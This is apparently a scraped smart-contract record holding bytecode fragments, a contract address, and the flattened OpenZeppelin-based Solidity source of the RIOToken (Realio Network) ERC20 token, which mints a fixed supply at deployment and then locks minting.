6000fd5b500490565b60008219821115611f1e57611f1e611e9d565b500190565b60208082526021908201527f4f6e6c7920617661696c61626c6520666f7220636f6e7472616374206f776e656040820152603960f91b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b600060018201611fa257611fa2611e9d565b5060010190565b600081611fb857611fb8611e9d565b50600019019056fea26469706673582212209a712454114efe10c58e1d2801ca48ccec5857340af44c1550a9cb4ccaeb68ef64736f6c634300080d0033
[ 16, 7, 9, 2 ]
0xf21661D0D1d76d3ECb8e1B9F1c923DBfffAe4097
// File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/ERC20Burnable.sol pragma solidity ^0.6.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/access/AccessControl.sol pragma solidity ^0.6.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File: contracts/RIOToken.sol pragma solidity ^0.6.0; /** * @dev {ERC20} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to other accounts. */ contract RIOToken is Context, AccessControl, ERC20Burnable { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bool private _isMintLocked = false; /** * @dev Grants `DEFAULT_ADMIN_ROLE`, and `MINTER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ constructor() public ERC20("Realio Network", "RIO") { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); mint(msg.sender, 100000000000000000000000000); _lockMinting(); } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "RIOToken: must have minter role to mint"); require(!getIsMintLocked(), "RIOToken: mint is locked"); _mint(to, amount); } /** * Set mint lock */ function _lockMinting() internal { require(!getIsMintLocked(), "RIOToken: mint is locked"); _isMintLocked = true; } function getIsMintLocked() public view returns (bool isMintLocked) { return _isMintLocked; } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c806379cc6790116100c3578063a9059cbb1161007c578063a9059cbb14610736578063af7824001461079a578063ca15c873146107ba578063d5391393146107fc578063d547741f1461081a578063dd62ed3e1461086857610158565b806379cc67901461051d5780639010d07c1461056b57806391d14854146105cd57806395d89b4114610631578063a217fddf146106b4578063a457c2d7146106d257610158565b8063313ce56711610115578063313ce5671461037657806336568abe1461039757806339509351146103e557806340c10f191461044957806342966c681461049757806370a08231146104c557610158565b806306fdde031461015d578063095ea7b3146101e057806318160ddd1461024457806323b872dd14610262578063248a9ca3146102e65780632f2ff15d14610328575b600080fd5b6101656108e0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a557808201518184015260208101905061018a565b50505050905090810190601f1680156101d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61022c600480360360408110156101f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610982565b60405180821515815260200191505060405180910390f35b61024c6109a0565b6040518082815260200191505060405180910390f35b6102ce6004803603606081101561027857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff